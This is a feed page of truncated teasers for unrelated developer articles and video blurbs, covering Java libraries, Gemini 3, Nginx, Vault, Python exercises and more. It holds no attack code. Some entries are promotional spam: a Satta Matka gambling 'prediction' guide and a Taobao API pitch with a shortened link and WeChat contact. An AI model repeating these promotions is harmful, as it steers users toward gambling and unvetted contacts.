I recently read and shared You’re Wasting Time in Java Without These 10 Libraries. I commented on it a bit in my newsletter, but given the amount and intensity of reactions, I think a full-blown post is in order. The referenced libraries are: Project Lombok MapStruct JUnit 5 & Mockito SLF4J with Logback Apache Commons Lang & Google Guava Jackson Hibernate Validator Spring Framework Apache HttpClient / OkHttp Liquibase or Flyway Project Lombok is a java library that automatically plugs into your editor and build tools, spicing up your java. Never write another getter or equals method again, with one annotation your class has a fully featured builder, Automate your logging variables, and much more. -- Project Lombok I remember discovering Lombok: I was awestruck. It fixed many of the Java la…  ( 11 min )

Carbone is a templating engine designed to generate dynamic documents (PDFs, DOCX, XLSX, PPTX, etc.) by merging templates with JSON data: The JSON Data-set coming from your application, database, or API. The template must be designed using a Text Editor like Word, LibreOffice or Google Docs. To inject the content dynamically you must write Tags (a.k.a. placeholder), it will be replaced with the corresponding values from the JSON data. Carbone’s tag syntax offers a lot of possibilities! This article focuses on the essentials, but if you want to dive deeper or see more examples, check out the official documentation. The placeholder tag injects the value of a property from the root of the JSON data object (d). It is the simplest way to insert dynamic data into your template. For instance, i…  ( 14 min )

Artificial intelligence has entered a new era. Google DeepMind has unveiled Gemini 3, its latest AI model designed not just to process information, but to act as a true partner for developers. With enhanced reasoning, agentic coding, and multimodal understanding, Gemini 3 is tailored to help you learn, build, and plan complex projects with unprecedented efficiency. In this article, we’ll break down what Gemini 3 offers for developers, including Deep Think mode, Google Antigravity, DeepDocs integration, and actionable ways to leverage these tools in your workflow. Gemini 3 Pro sets a new benchmark in AI reasoning. Compared to its predecessor, Gemini 2.5 Pro, it delivers dramatic improvements across multiple metrics: LMArena Leaderboard: 1501 Elo Humanity’s Last Exam: 37.5% without tools GP…  ( 15 min )

WTF is this: Decoding the Mystery of Distributed Deno Ah, the elusive Distributed Deno – sounds like a secret agent, right? But, in reality, it's a tech concept that's been gaining traction, leaving many of us scratching our heads. Don't worry; I'm here to break it down in simple terms, so you can impress your friends with your newfound knowledge. Distributed Deno, in a nutshell, is a way of running applications across multiple machines, rather than just one. Imagine you're playing a game on your computer, but instead of using just your computer's resources, you're using the resources of your friend's computer, your neighbor's computer, and even the computer of that one cousin you barely talk to. It's like a team effort, where each computer works together to make the game run smoother, f…  ( 12 min )

Foreword As backend developers, we are certainly familiar with Nginx. It is the absolute dominator of reverse proxies and load balancing. However, have you encountered this scenario: your business is in a rapid iteration phase, backend service nodes change frequently, or you need to perform canary releases. Every time you adjust the Upstream servers, you have to modify nginx.conf and then carefully execute nginx -s reload. Although Nginx has powerful performance, its configuration management can feel slightly "heavy" in certain dynamic scenarios (while Nginx Plus supports dynamic APIs, that is a paid feature; Lua scripts can also achieve this, but maintenance costs are high). If you are a Go developer and are currently using the Gin framework, you can completely "embed" reverse proxy cap…  ( 10 min )

I. Interface Overview The Taobao Product Details API allows developers to retrieve detailed product information via product ID (num_iid), including comprehensive data such as title, price, inventory, sales volume, images, description, and SKU. This interface adopts a RESTful design, supports real-time data updates and high-concurrency requests, and is suitable for e-commerce application development, data analysis, price monitoring, and other scenarios. II. Interface Parameters: Taobao provides a Product Details API interface, which mainly includes: Core Functions Supports retrieving basic product information (title, price, inventory), SKU specifications, description, reviews, etc. Provides logistics information (shipping location, postage), product images, and detailed specifications. Supports field filtering to optimize transmission efficiency. Call Flow Registration and Authentication: c0b.cc/R4rbK2, click to get a test key. or add wechat id:19970108018 . Sending Requests: Calls the API via HTTP GET/POST and parses the returned JSON data. In conclusion, Taobao's product details API provides developers with a standardized and efficient solution for acquiring product data, supporting diverse needs from basic information to in-depth analysis. It is an important tool for e-commerce business development and operation.  ( 6 min )

Short answer: you can make an old washing machine “smart” with a Raspberry Pi 4, but you should not try to replace its internal controller or directly wire GPIO into mains. The safe way is to treat the machine as a black box and let the Pi monitor and optionally “press buttons” or switch power from the outside. I’ll give you a practical, but safety-conscious roadmap. 1. Decide what “make it work with Pi” means Typical goals: Get notifications (cycle finished, machine running or idle). Monitor energy/use (when it runs, how long, maybe power draw). Remote control start/stop (within reason). Home-automation integration (Home Assistant, Node-RED, etc.). If you say which of these you care about most, we can go deeper. For now I’ll assume: monitor + maybe remote start. 2. Safest approach: treat…  ( 9 min )

For decades, the software industry has repeated the mantra KISS: Keep It Simple, Stupid. But somewhere along the way, we stopped practicing it. Today, we design systems that are far more complex than the problems they try to solve. We pile abstraction upon abstraction, create layers upon layers, and split systems into dozens of microservices long before the business even knows what it needs. And then we wonder why software is difficult to change, expensive to maintain, and resistant to adaptation. This article argues something uncomfortable but important: Modern software engineering has drifted away from simplicity — and the price we pay is adaptability. Let’s bring KISS back into focus, not as a nostalgic slogan, but as a practical strategy for building resilient, maintainable systems.…  ( 9 min )

"It works on my machine." Every developer knows this phrase. I had just finished building a Water Quality Prediction system using Python, Flask, and Docker. It was running perfectly on my laptop. I could send a curl request to localhost:5000 and get a prediction back instantly. But "localhost" doesn't help the world. If I wanted this model to actually be useful—perhaps as a backend for a mobile app or an IoT river monitoring system—I needed a public URL. In this post, I’ll walk through the final (and surprisingly easiest) step of my project: deploying a Dockerized Flask app to the cloud using Render. Before we jump into the cloud, here is a quick snapshot of what I built: The Brain: A Random Forest Classifier trained to predict water quality classes (0, 1, 2). The Body: A Flask API that ac…  ( 8 min )

If you follow* Matka regularly*, you already know how unpredictable the game can feel. Some days numbers flow in familiar patterns, and other days the entire chart behaves differently. What helps most is clarity — understanding combinations, reading daily updates, and using predictions responsibly rather than emotionally. In this guide, we break down four simple elements players rely on every day to stay informed and make calculated decisions: double pana patterns, live results, open numbers, and practical prediction habits. Many players start their analysis with matka double pana Live results are another important part of daily decision-making. Anyone who checks the game regularly understands that speed and accuracy matter. The moment a result drops, experienced players compare it with ea…  ( 8 min )

‘Weird Science’ Rewatchables Breakdown Bill Simmons and Kyle Brandt dive headfirst into John Hughes’s 1985 cult classic Weird Science, unpacking everything from its teen-tinged rock ’n’ roll vibes to memorable moments with Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. It’s your classic Ringer Rewatchables episode—expect plenty of laughs, nostalgia and cheeky commentary on the movie’s wild style. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is proudly sponsored by State Farm’s Personal Price Plan®. Catch it on The Ringer-Verse YouTube channel or the Bill Simmons channel, and don’t forget to subscribe for more movie deep dives! Watch on YouTube  ( 6 min )

The 25 Best Movies of the Century: No. 4 – Inglourious Basterds Sean and Amanda dive into their yearlong countdown, hailing Quentin Tarantino’s Inglourious Basterds as the more thrilling pick over Once Upon a Time in Hollywood. They break down what makes this WWII romp one of the standout cinema experiences of the century. From Christoph Waltz’s unforgettable turn to the film’s lasting impact on both war movies and Tarantino’s legacy, they unpack why Basterds still packs a punch and earns its spot at number four. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes us back down the yellow brick road with a rapid-fire sin count of the classic 1978 musical, spurred on by Wicked’s return to theaters. Expect their trademark blend of nitpicks, snark, and a fresh look at whether The Wiz actually holds up better than you remember. Along the way they drop links to all their channels—CinemaSins, TVSins, CommercialSins, the Podcast Network—plus Discord, Reddit, social media, a quick poll, and a Patreon pitch for fans hungry for more sinful fun. Watch on YouTube  ( 6 min )

Tutorial: Building a .NET 9 Console App with Hangfire and Channels Overview In this tutorial, you will build a .NET 8 console application that: Polls data from an API, or simulates it Uses System.Threading.Channels for producer consumer messaging Runs background tasks using Hosted Services Enqueues jobs in Hangfire using in memory storage Traditional producer consumer patterns often rely on BlockingCollection or custom queues, which can introduce: Thread contention Blocking calls Complex synchronization System.Threading.Channels provides: Asynchronous, non blocking communication between producers and consumers Built in backpressure when using bounded channels High performance with low allocation In this app: DataPollingService is the producer, it writes work items into the ch…  ( 10 min )

Target: Developer Node.js & Laravel Infrastruktur: Shared Hosting (Hostinger, Qwords, Niagahoster, dll) Tujuan: Mencegah domain terblokir akibat pengiriman ke email sampah/mati. Sebelum menyentuh kodingan, Anda wajib memastikan "SIM" (Surat Izin Mengemudi) email domain Anda valid. Tanpa ini, email Anda akan masuk Spam atau ditolak, sebagus apapun kodenya. Masuk ke hPanel (Hostinger) atau cPanel (Qwords) Anda. Cari menu "Email Deliverability" atau "DNS Zone Editor". Pastikan record berikut ada dan aktif: Jenis Record Nama (Host) Value (Contoh) Fungsi TXT (SPF) @ v=spf1 include:_spf.mail.hostinger.com ~all Memberi izin server hosting mengirim email. TXT (DKIM) default._domainkey (Kode panjang acak dari hosting) Tanda tangan digital anti-pemalsuan. Penting: Jika status SPF/DKIM …  ( 9 min )

Do you write in C or C++ and want to analyze code regardless of the build system? Today, we'll explain how to use PVS-Studio static analyzer and plugin for Visual Studio Code on Windows. Do you write in C or C++ and want to analyze code regardless of the build system? C/C++ code can be used for different purposes that require their own build systems. For example, embedded development relies on specific compilers and build systems. Sometimes, you can encounter a whole "zoo" of custom build scripts and suddenly realize that the previous "zookeeper" has resigned last year. However, you decide that you still want to analyze such code (somehow), but you don't have any desire to understand the fragile and incomprehensible build system. What can you do? Actually, there's a solution! The analyz…  ( 12 min )

757. Set Intersection Size At Least Two Difficulty: Hard Topics: Array, Greedy, Sorting, Weekly Contest 65 You are given a 2D integer array intervals where intervals[i] = [startᵢ, endᵢ] represents all the integers from startᵢ to endᵢ inclusively. A containing set is an array nums where each interval from intervals has at least two integers in nums. For example, if intervals = [[1,3], [3,7], [8,9]], then [1,2,4,7,8,9] and [2,3,4,8,9] are containing sets. Return the minimum possible size of a containing set. Example 1: Input: intervals = [[1,3],[3,7],[8,9]] Output: 5 Explanation: let nums = [2, 3, 4, 8, 9]. It can be shown that there cannot be any containing array of size 4. Example 2: Input: intervals = [[1,3],[1,4],[2,5],[3,5]] Output: 3 Explanation: let nums = [2, 3, 4]. It can be sho…  ( 38 min )

Will AI agents replace SaaS? Artificial intelligence (AI) agents are revolutionizing SaaS platforms in 2025, driving automation, intelligence, and scale. But will AI agents replace SaaS? The answer is no. Instead, AI agents are becoming essential extensions of SaaS, automating repetitive workflows that once slowed teams and killed margins. Without AI agent integration for key tasks like support triage or lead qualification, your SaaS platform risks losing the efficiency edge to competitors. With API call costs dropping to as low as $0.001 and mature platforms like OpenAI, n8n, Make.com, and Zapier offering plug-and-play AI integrations, embedding AI-powered automation is both affordable and impactful. According to data from Aalpha.net, you can automate hours of manual work per week for th…  ( 15 min )

When Sundar Pichai Issued the Warning Alphabet CEO Sundar Pichai recently said something that shook the industry: “No company is immune if the AI bubble bursts.” For two years, companies have raced into AI: Massive investments Fear of missing out Pressure to add AI everywhere Unrealistic expectations about returns Yet even Google — a global AI leader — is uncertain about ROI. Google revealed it increased its AI infrastructure spending from: $30B → $90B in one cycle. If Google is unsure whether its AI investment will pay off… What does that mean for the rest of the market? Google’s Gemini File Search disrupted the entire RAG ecosystem. In a single update, it replaced two years of “best practices”: Vector databases Chunking and embeddings Retrieval logic Custom RAG pipelines AI…  ( 8 min )

I don't have any bitcoin myself, but still find the idea of the blockchain and "public shared money" fascinating. And as it turns out, there is a free and open-source bitcoin wallet, created with JavaFX, that wants to help people understand how the Bitcoin system works, and make transactions easy to understand. Thanks to the work of Craig Raw, there is an easy-to-use desktop application to create and manage wallets. And while he explains the app itself, we also learn a lot about the Bitcoin ecosystem, reproducible builds, security, hardware wallets, and more! About Craig Craig Raw is the creator of the Sparrow Bitcoin Wallet. He lives in South Africa. Funny fact: in the video, you can hear that he is surrounded by birds who wanted to join the conversation. Craig loves Java a…  ( 10 min )

If you build React apps with Mantine UI), you already value clarity, consistency, and speed. JsonTree continues that tradition: it renders any JavaScript value—primitives, arrays, and objects—into an interactive tree with minimal effort. Drop it in, point it to data, and you’re done. When you need more, it offers clean extension points and Mantine-friendly styling. A lightweight, flexible tree viewer for strings, numbers, booleans, nulls, arrays, and objects—built for Mantine UI, with zero configuration and rich customization when you need it. Works with any value: string, number, boolean, null, array, object. Instant visibility: expand/collapse nodes to navigate complex payloads. Mantine-first: designed to fit your theme, typography, spacing, and dark mode. Zero-config by default; composable when you need control. import { JsonTree } from “@gfazioli/mantine-json-tree”; import { data } from ‘./data’; function Demo() { return ; } API response debugging: Quickly explore fetched JSON without switching tools. Admin interfaces: Render configuration blobs, feature flags, or audit objects. Developer tools: Embed a live inspector during development or in internal dashboards. Education/demo pages: Show data shapes and changes clearly for tutorials and onboarding. Video You can watch More video Happy building!  ( 6 min )

Introduction Angular PDF libraries provide a powerful set of features that enable developers to create, display, and manipulate PDF documents, which include an Angular PDF viewer/editor, directly within an Angular application. Which helps us to create PDF files, being a common format for reports, invoices, forms, and downloadable content, their implementation has become an indispensable part of today's web development. Since Angular is first and foremost a frontend framework running in the browser, heavy file operations are not natively supported. The developers use third-party PDF libraries designed to run efficiently either on the client or server to meet the needs of users. With the use of PDF libraries, developers achieve various tasks like HTML to PDF conversion, PDF viewing, PDF an…  ( 10 min )

Good commit messages are important for improving collaboration, speeding up debugging, documenting a project's history, and simplifying code reviews. But sometimes we make typos in our commit messages because we are, for now, human. Sometimes the message we wrote isn't clear or detailed enough. In any case, sometimes we want to change the message we wrote for a commit. In this post, we'll go over two simple ways to change a commit message to make it clearer, more organized, more accurate, correct, etc. For example, you might want to change: # Vague message fix bug # To something more descriptive Resolve null pointer exception in user login validation We want to fix the message of the last commit we made. The command git commit --amend allows us to change the last commit. Make sure there…  ( 8 min )

Timothy was debugging a data processing function that wasn't working correctly. "Margaret, I added decorators to validate the data and log the results, but I'm getting validation errors on values that should be fine. Look - the decorators are all here." Margaret examined his code: @validate_result @transform_data @sanitize_input def process_user_data(data): return calculate_score(data) "The decorators are there," Margaret said, "but do you understand the order they execute in?" Timothy blinked. "They... run top to bottom, right? Like the rest of Python?" "That's what everyone thinks at first. But decorators are different. Let me show you what's really happening." "When you stack decorators," Margaret explained, "they execute bottom-to-top, not top-to-bottom. Your sanitize runs first, …  ( 10 min )

Hi everyone! 👋 Have you ever struggled with story points estimation? I definitely have. Those long discussions where everyone throws numbers around... it can be frustrating to settle on a number that actually makes sense. That’s why I built a small web app to help teams make more rational decisions. The tool is super simple: It lets you estimate points based on things like complexity, dependencies, resources, and effort (instead of just guessing). It also gives little hints depending on the points you choose, like whether the story might be too big to tackle or if it could be broken down. I’m not claiming it’s perfect... I just want to share something that is helping me. Maybe it’ll help you too? If you give it a try, I’d love to hear what you think. I’m open to feedback and ideas to make it better! 🚀 Cheers!  ( 6 min )

In today’s fast-moving digital landscape, businesses are generating more visual data than ever before—videos, images, camera feeds, user-generated content, and IoT sensor visuals. But raw visual information alone is not enough. Enterprises now need the ability to interpret and act on visual data in real time, and that’s exactly where Computer Vision Services step in. As AI adoption accelerates across industries, computer vision is becoming one of the most impactful technologies—driving automation, enhancing accuracy, and powering intelligent decision-making. At Oodles, we build end-to-end computer vision solutions that help businesses unlock deeper insights, optimize operations, and introduce intelligent automation at scale. Below is a closer look at how computer vision is transforming ent…  ( 8 min )

The 32-bit version of libgcc_s.so.1 was used on the 64-bit system. uname -a Linux RT-BE88U-A1F0 4.19.294 #1 SMP PREEMPT Wed Jan 22 22:58:22 CST 2025 aarch64 RT-BE88U_Koolcenter_mod file /lib/libgcc_s.so.1 libgcc_s.so.1: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped uname -a Linux OpenWrt 6.6.110 #0 SMP Sun Oct 19 16:37:45 2025 x86_64 GNU/Linux file /lib/libgcc_s.so.1 ./libgcc_s.so.1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, no section header  ( 6 min )

Mixing Night with Ken Lewis – FULL MIX NIGHT – 11/12/2025 Join 2-time Grammy winner Ken Lewis for a free monthly livestream where he breaks down the mix bus, shares pro tips honed over 30+ years on 114 Gold & Platinum records, and answers your burning questions on mixing, production, recording, and career development. Watch live as Ken demonstrates the very techniques that power hit records and gets real about the art of crafting great sound. Stick around for giveaways from Session Studio, Sound Radix, and Bettermaker, plus resources like plugin breakdowns, user submission forms, merch, and more. Whether you’re a bedroom producer or a seasoned engineer, Mixing Night is your backstage pass to next-level mixing. Watch on YouTube  ( 6 min )

Hashicorp Vault is a secrets management tool. It enables encrypted storage of sensitive data like API credentials, database passwords, certificates and encryption keys. This is managed by flexible plugins called secrets engines. Once activated in a Vault instance, they provide a standard API and CLI access for creation, updating, reading and deleting secrets. This article provides a complete overview to Vault secrets engines. It starts with a general explanation about their plugin implementation, explains the four group of engines, and then lists all engines per group as well as giving a concise tutorial for one specific example engine. The technical context of this article is hashicorp_vault_v.1.20, published 2025-06-25. All provided information and command examples should be valid with n…  ( 16 min )

If you’ve already dipped your toes into TypeScript, you’ve probably met that one feature everyone talks about but no one fully explains at the start. A type alias is basically giving a nickname to a type. A basic explanation? Think of it like giving your WiFi a name. Here’s a simple example from my playground: // type alias type USER = { name: string; contactNo: string; address: { division: string; city: string; }; gender: "male" | "female"; }; const user1: USER = { name: "Mashayeakh", contactNo: "01777", address: { division: "Dhaka", city: "Dhaka" }, gender: "male" }; console.log(user1); 😄 Why I Like Type Aliases When I'm structuring data models, a type alias feels natural. It’s straightforward and doesn’t pretend to be anything else. It just bundl…  ( 8 min )

Last week, I was staring at my latest blog draft, wondering why some sentences just sounded… off. Even though I’d let the AI generate most of it, a few phrases still felt clunky. That’s when I got curious: could I make the AI check itself before I even looked at it? So I started experimenting with self-correcting LLMs—essentially, letting the model generate a draft, detect likely mistakes, suggest fixes, and then pick the best version. At first, I thought it would be simple. Spoiler: it wasn’t. I wrote a tiny loop in Python, just to see what would happen: draft = model.generate(prompt) for i in range(2): errors = detect_errors(draft) if errors: candidates = generate_candidates(draft, errors) draft = select_best_candidate(candidates) The first pass was… messy. The A…  ( 7 min )

Money is a terrible substitute for product market fit. In 2020, Quibi raised $1.75 billion before launch. The company had A-list Hollywood talent, cutting-edge technology, and unlimited marketing budget. Six months later, they shut down completely. The autopsy was simple: no amount of money can compensate for building something nobody wants. This isn’t just about Quibi. It’s about a fundamental truth that Silicon Valley rarely admits: raising venture capital before achieving product market fit is one of the most dangerous mistakes a founder can make. The Five Deadly Dangers of Premature Funding 1. The Growth Pressure Paradox When you take venture money, investors expect rapid growth. But pre-PMF companies don’t need growth — they need patient, methodical iteration. What happens next is pre…  ( 8 min )

When it comes to project automation, build workflows, and DevOps scripting, developers are often torn between Bash scripts and Makefiles. Both have strengths—and knowing when to use each can supercharge your productivity and simplify project onboarding! Bash scripts (.sh files) are imperative and powerful. They let you: Write complex logic, loops, and conditionals easily Use standard shell commands without escaping or special syntax Handle setup, deployments, cron jobs, multi-step automation, and dynamic tasks If you need pure shell power and want your workflow to run everywhere, Bash is your friend. Makefiles shine for build automation. Their unique features: Automatic dependency tracking—rebuild only what's needed Standardized commands (make build, make test) that work across projects Ea…  ( 7 min )

When I first decided to go for a Microsoft system design interview, I was overwhelmed. The sheer scope of designing scalable, maintainable systems felt daunting. So, I turned to a mix of structured online courses and hands-on problem solving—and learned a ton along the way. In this post, I’ll share seven lessons from my journey through Microsoft system design interview prep, focusing heavily on the best system design courses and how to extract maximum value from them. If you’re prepping for Microsoft or any big tech, you’ll find these insights actionable—and grounded in real-world experience. My first mistake? Jumping into generic “system design fundamentals” courses that felt too theoretical. Microsoft interviews emphasize scalability, cloud-native architectures, and fault tolerance tailo…  ( 8 min )

Building tools inside a company helps teams launch apps faster - without blowing the budget on tech upkeep. This way, coders stay productive, businesses move fast, and spending stays under control. In real life, that mix looks like this: Dev teams grab their own setups, roll out updates fast - so they don’t sit around waiting for IT checks or slow sign-offs. It hides the messy parts while pushing changes quickly. Cash flow? Each task, setup or use fits tight budgets. You see, spending now rules keep it in check, and results match what the company gains. When platform engineering firms discuss cutting costs while moving fast, it’s never only about server expenses or how quickly deployments are on their own. They build setups where efficiency ties directly into performance - shaping tools th…  ( 11 min )

QA teams must treat inspection readiness as continuous operational behavior, not a project. Prioritize controlled documentation, robust data integrity controls, rapid access to master records, cross-functional response protocols, supplier/CRO oversight, and evidence of trend analysis and CAPA effectiveness. Recent regulatory trends show more foreign and unannounced inspections, rising “for-cause” activity, and heightened enforcement on data integrity, aseptic control, and supplier oversight, so focus on proactive risk controls, staff training, and technology that supports traceable, auditable decisions. Regulators have shifted inspection strategy in the last 2–3 years: agencies are increasing foreign on-site activity and using unannounced or short-notice visits more frequently, and “for-ca…  ( 13 min )

How to fix the issue of frontmatter.title appearing in VitePress search results instead of the actual content. When you first set up VitePress and use frontmatter to define titles and other metadata for your pages, you may notice that the built-in local search shows the literal template expression used in your Markdown instead of the resolved title. For example, if your page heading uses the $frontmatter template global, the local search index can treat the expression as plain text. Your search results may then show something like {{ $frontmatter.title }} instead of the actual page title. Example Markdown file (docs/markdown-examples.md): --- title: "My Awesome Page" description: "This is an awesome page about VitePress." --- # {{ $frontmatter.title }} {{ $frontmatter.description }} For…  ( 9 min )

Introduction Current RAG systems rely heavily on LLM-driven dynamic planning. same query → different routes small context drift → different cluster summaries debugging becomes guessing reproducibility is poor audit trails show “what happened”, but not “why this route” GraphRAG improves structural traversal, but still depends on non-deterministic reasoning inside the agent layer. Over the past 48 hours, I built a minimal deterministic RAG PoC to explore a simple question: What if we remove LLM planning from the critical path and force RAG to run on This article shares the idea and the PoC — designed as a drop-in, not a re Determinism is not about “reducing creativity”. reproducible debuggable testable auditable stable under load LLMs can still generate summaries and semantics, but the rou…  ( 8 min )

In .NET development, automated processing of Word documents is a common requirement. Deleting paragraphs (such as cleaning up blank paragraphs or removing specific paragraphs) is one of the most frequently used operations. Free Spire.Doc for .NET is a free Word document manipulation component. It enables the creation, editing, and modification of Word documents without relying on Microsoft Word. This article will detail how to use this component to delete Word paragraphs in various scenarios. It is recommended to quickly install Free Spire.Doc for .NET via the NuGet Package Manager: Open your Visual Studio project, right-click the project → select "Manage NuGet Packages"; Enter "Free Spire.Doc" in the search box, find the corresponding package, and click "Install"; After installation, refe…  ( 8 min )

`# محامي جنائي في الكويت: لماذا اختيار المحامي الصحيح قد ينقذ حياتك القانونية؟ في عالم القضايا الجنائية، الأمور لا تتعلق فقط بغرامة أو مخالفة بسيطة… القضية أحيانًا تكون سمعة، مستقبل، حرية، ووضع قانوني كامل. لهذا السبب، وجود محامي جنائي محترف إلى جانبك في أي تحقيق أو اتهام هو أمر أساسي وليس رفاهية. في هذا المقال سنشرح: من هو المحامي الجنائي؟ متى تحتاج إلى محامي قضايا جنائية في الكويت؟ ما الفرق بين محامٍ عادي و محامي جنائي متخصص؟ كيف تبحث عن أفضل محامي جنائي يناسب حالتك؟ ⚠️ تنبيه مهم: هذا المقال للتوضيح العام ولا يُعتبر استشارة قانونية. دائمًا استشر محاميًا مرخصًا قبل أي خطوة. المحامي الجنائي هو محامٍ متخصص في الدفاع عن المتهمين في القضايا المرتبطة بـ قانون الجزاء مثل: الاعتداء السرقة النصب والاحتيال قضايا المخدرات الجرائم الإلكترونية التشهير والتهديد جرائم الأموال في الكويت، الت…  ( 8 min )

Healthcare software is evolving fast. The next real shift will not come from new databases or better dashboards. It will come from intelligence built into the systems themselves. Working at a healthcare software development company, I see it every day. Healthcare teams want their software to think, not just store data. That’s where machine learning comes in. Hospitals, labs, and connected devices generate a flood of data including: Patient records Scans Lab results Wearable data The problem is not collecting it. The problem is making sense of it. ML helps you turn that data into insight. It supports faster decisions, improves patient care, and removes repetitive work. If you build on .NET, the good news is you do not need to start over. You can make your existing apps smarter with …  ( 8 min )

最近、API検索の効率について、ずーっとモヤモヤしていたんです。 大規模プロジェクトや、多人数での共同開発が進むにつれて、APIの数は文字通り「星の数ほど」増えていきますよね。エンジニアがデバッグをする時も、テスターがテストケースを作成する時も、「目的のAPIを探す」という作業は、もはや日常的なルーティンとなっています。 それなのに、実際にターゲットのAPIを見つける作業は、想像以上に骨が折れる作業だと感じています。 例えば、あるプロジェクトで既に数千ものAPIが蓄積されており、命名規則が完全に統一されているわけではないという状況を想定してみましょう。 ある日、「資金決済」に関連する機能を修正する必要が出てきました。しかし、覚えているのは「支払い」「アカウント」「残高」といったキーワードと関係がある、ということだけ。具体的なURL、関数名、モジュール位置は、もう頭から抜け落ちています。 この時、私が行うであろう作業は、多くの場合こんな流れになります。 Postmanなどのツールを開き、APIリストを手動で検索。 キーワードを試しに入力：pay、money、account。 スクロールし、クリックして開き、フィルタリングし、何度も試行錯誤を繰り返す。 そして最終的に見つけたAPI名は/wallet/recharge/apply――完全に予想外の命名。 これは非常によくある状況で、特に以下のような場合に顕著になります。 プロジェクトのAPI量が膨大である。 命名規則が時間経過や開発者の交代によって変化している。 新メンバーが過去のAPI構造に詳しくない。 業務モジュールが複雑で、機能の境界が曖昧。 その結果が、これです。検索効率が低い、共同作業のコストが高い、そして繰り返し無駄な労力を費やす。 Wordのオフライン文書、Postman、あるいはSwagger UIなど、従来…  ( 6 min )

Welcome to Day 40 of the #80DaysOfChallenges journey! This intermediate challenge explores finding Armstrong numbers (also called narcissistic numbers) in a given range, where a number equals the sum of its own digits each raised to the power of the number of digits. It combines digit extraction via strings, exponentiation, loop-based checking, and a helper function for clean logic, making it a solid exercise in numeric manipulation and conditionals. If you're advancing from basic loops to algorithmic checks or enjoy math-inspired problems, this "Python Armstrong numbers" script demonstrates a function that's efficient for reasonable ranges and easy to extend for larger bounds or optimizations. This task features a core is_armstrong function that verifies a single number, used in a range l…  ( 11 min )

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Daily Tech News Roundup Welcome to today's tech news! We've got a mix of business updates, AI advancements, and even a look at how the future was predicted. Let's dive into the biggest headlines. Monarch Tractor Faces Layoffs, Potential Shutdown Monarch Tractor, known for its electric tractors, is reportedly preparing for layoffs and has warned employees of a possible shutdown. A memo obtained by TechCrunch indicates that the company's pivot away from tractor manufacturing is putting it at financial risk. This highlights the challenges of entering the competitive agricultural technology market. Source Trump Executive Order Could Ban State AI Laws A draft executive order suggests that former President Donald Trump is considering granting the federal government unilateral power over AI regul…  ( 8 min )

Check out this Pen I made!  ( 5 min )

Java can feel like a jungle when you first dive in — tons of concepts, syntax quirks, frameworks, and, well, endless tutorials. I remember staring at my first Java “Hello World” program thinking, Is this it? Spoiler: it’s just the beginning. Over the years, after multiple projects, interviews, and mentoring sessions, I’ve distilled my go-to Java learning roadmap that cut through the noise and actually worked. Whether you’re a total newbie or brushing up for an interview, here are 7 best resources to learn Java—all battle-tested, structured, and full of actionable insights. Java: The Complete Reference by Herbert Schildt Why I think this book is the backbone of your Java learning journey This classic book felt like having a mentor by my side. It’s exhaustive, dense, and insanely thorough…  ( 9 min )

A Practical Guide for Developers Who Want Cleaner, Faster, More Reliable Python Code 📌 Table of Contents Introduction 🔹 Introduction Strings, integers, and lists are the first three data types every Python developer encounters — but they remain foundational even for advanced projects. Whether you're writing APIs, processing datasets, building automations, or designing AI workflows, these three data types form the core operations underlying almost everything in Python. This guide focuses on developer-level clarity, real-world use cases, edge cases, and performance details. 🔹 Why These Three Data Types Matter Strings → parsing input, logs, APIs 🧵 Strings What Are Strings? Accessing Characters s = "Python" Slicing print(s[1:4]) # yth String Methods s = "hello world" words = ["fast", "rel…  ( 8 min )

(If you want to think better, write better, and build better with AI) Most people treat prompting like typing random, unstructured, forgettable. Professionals treat prompting like engineering, systematic, documented, and versioned. GitHub isn’t just for code anymore. Here are three GitHub project styles that every serious prompt writer should maintain, no matter your experience level. Your Personal Prompt Library The “Second Brain” of every AI operator. If you want to become world-class at prompting, you need one place where you store: reusable templates reasoning frameworks instruction patterns system prompts debugging templates persona configurations thinking structures writing styles code-refactoring instructions productivity macros This repo becomes a toolbox, memory bank, and accelera…  ( 10 min )

Table of Contents Introduction Why Firefox Extensions Matter Understanding WebExtensions Architecture Setting Up Your Development Environment Anatomy of a Firefox Extension Creating Your First Extension Background Scripts Content Scripts Popup & Options Page UI Messaging and Event Handling Storage and Data Management Permissions and Security Best Practices Intermediate Features Advanced Features Debugging and Troubleshooting Publishing on AMO Common Mistakes Performance Optimization Real-World Example: Text Saver Extension Conclusion Developing a Firefox extension empowers you to customize, automate, and enhance the browsing experience. Unlike traditional web apps, extensions can modify pages in real-time, interact with browser APIs, and provide tools that millions of users can rely on.…  ( 9 min )

NextGen Tools offers a Product Hunt alternative focused on real visibility. Your launch page highlights your title, summary, images, and site link. Visitors browse new tools and support the ones they value. Higher rankings come from real votes. Products in the top 3 that place the badge on their site receive a dofollow link. Founders launch MVPs and full SaaS products. Users view tools across multiple categories. Launch, share, and grow with real engagement. Start here: https://nxgntools.com  ( 6 min )

Summary: Random Password Generation In this article, we will explore a versatile and modular approach to building a password generator in Python. Moving beyond a single script, you will learn how to create multiple specialized functions, each designed for a specific purpose. We will define functions that generate letters-only passwords, numeric PINs, complex punctuation-based keys, standard alphanumeric passwords, and even a fully customizable generator that uses any character set you define. This step-by-step guide Python Password Generator will empower you to understand function definition, default parameters, and the principles of code reusability, providing you with a toolkit of password generation solutions for various security scenarios. import random import string def password_le…  ( 9 min )

Most default code editor themes don’t work for me. As someone with astigmatism, high-contrast or overly saturated themes strain my eyes. I constantly switched themes, but nothing felt right. It wasn’t just about looks, I needed help creating something that was suited my needs for writing code. Many themes either failed WCAG contrast standards or were uncomfortable to read. Creating a custom theme felt daunting, until I started using gen AI to assist me. Using generative AI, I could describe exactly what I needed: "A dark theme with muted backgrounds and soft contrast for string literals." "All elements must pass WCAG AAA minimum contrast." "Avoid yellows and high-saturation colors." In minutes, I had accessible designs tailored to my needs. I wasn’t just editing and fighting through balanc…  ( 8 min )

